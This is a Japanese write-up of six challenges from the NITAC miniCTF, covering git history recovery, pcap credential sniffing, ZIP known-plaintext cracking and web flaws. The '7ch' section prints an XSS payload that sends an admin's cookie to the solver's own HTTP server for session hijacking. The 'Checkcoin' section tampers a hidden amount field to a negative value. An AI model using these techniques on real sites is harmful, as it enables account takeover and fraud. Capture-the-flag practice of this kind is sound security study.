NITAC miniCTF
personal-development名義でチームSMAPとして出て、個人1050点/チーム1950点で1位でした。
WebとCryptoに弱いのをなんとかしたい。
以下write-up。
Checkcoin
500億円程度流失していそうな問題名。
ユーザは1000NEM持っていて、FLAGを見るには10000NEM必要らしい。
また、Johnプロに募金ができるページが用意されている。ボタンを押すと書かれた数だけNEMが減っていく。
ソースを見るとこんな感じ(記憶から再現)なので、amountのvalueを-10000にするとNEMが加算されるようになり、無事FLAGを入手できる。
code:html
<input type="hidden" name="amount" value="5">
<input type="submit" value="5 nem">
Where flag?
gitを使った問題。
含まれているflag.txtは偽物。
code:bash
$ cat flag.txt
NITAC{This_is_un!not_flag}
git logするも、嘘のフラグに書き換えた記録しかない。
code:bash
$ git log --oneline
e0168bf (HEAD -> master) Change to lie flag
0001fda add tmp_flag
本番ではなんかいろいろウワーッとやったので覚えていない。
reflogを使えばChange to real flagからresetで履歴が書き換えられたことが確認できるらしい。
code:bash
$ git reflog
e0168bf (HEAD -> master) HEAD@{0}: commit: Change to lie flag
0001fda HEAD@{1}: reset: moving to 0001fda371ae32ee3f987f2ff63129ef647381a5
167eff1 HEAD@{2}: commit: Change to real flag
0001fda HEAD@{3}: commit (initial): add tmp_flag
そこからは配管コマンドを使って、
code:bash
$ git ls-tree 167e
100644 blob fa348447eb8e23bbf88da4521d3c4961abd91cdf flag.txt
$ git cat-file blob fa34
NITAC{You_can_change_the_past}
Basic!
.pcapが渡される。httpで絞りこんであげると、Basic認証のパケットがある。
https://gyazo.com/85f9556472ae45077a7125a21c532c9c
http://10.0.0.111/にアクセスし、ID,PWをhoge, M2Fuchagam#qと入力するとFLAGにアクセスできる。
7ch
「adminのcookieを盗め」という問題。
自分「SQLi〜〜うーん、無理!w」
運営「Demand AdministratorのフォームにXSSの脆弱性があるよ〜」
自分「(Googleを開く)」
python -m http.serverで適当にサーバを立ち上げたあと、<input>のmaxlength属性を書き換え、<script>document.location='http://(自分のマシンのIP):8000/'+document.cookie</script>を流し込む。
するとサーバ側で送信したデータが開かれるのでスクリプトも実行される。
code:bash
$ python -m http.server
また、LoginのページにFLAGが/admin/flagにあることが示されているので、Cookieをadmin=89iu....に書き換えてアクセスするとFLAGが出る。
ZIPZIP
既知平文攻撃。
code:bash
$ zip downloaded.zip downloaded.png
$ pkcrack -C zip.zip -c NITACminiCTF.png -P downloaded.zip -p downloaded.png -d output.zip
$ unzip output.zip
$ cat flag.txt
NITAC{unzip_unzip_unzip}
John thinks...
stringsコマンドで。
code:bash
$ strings hoge.jpg -n 20
NITAC{akashi_sn_kawaii}cms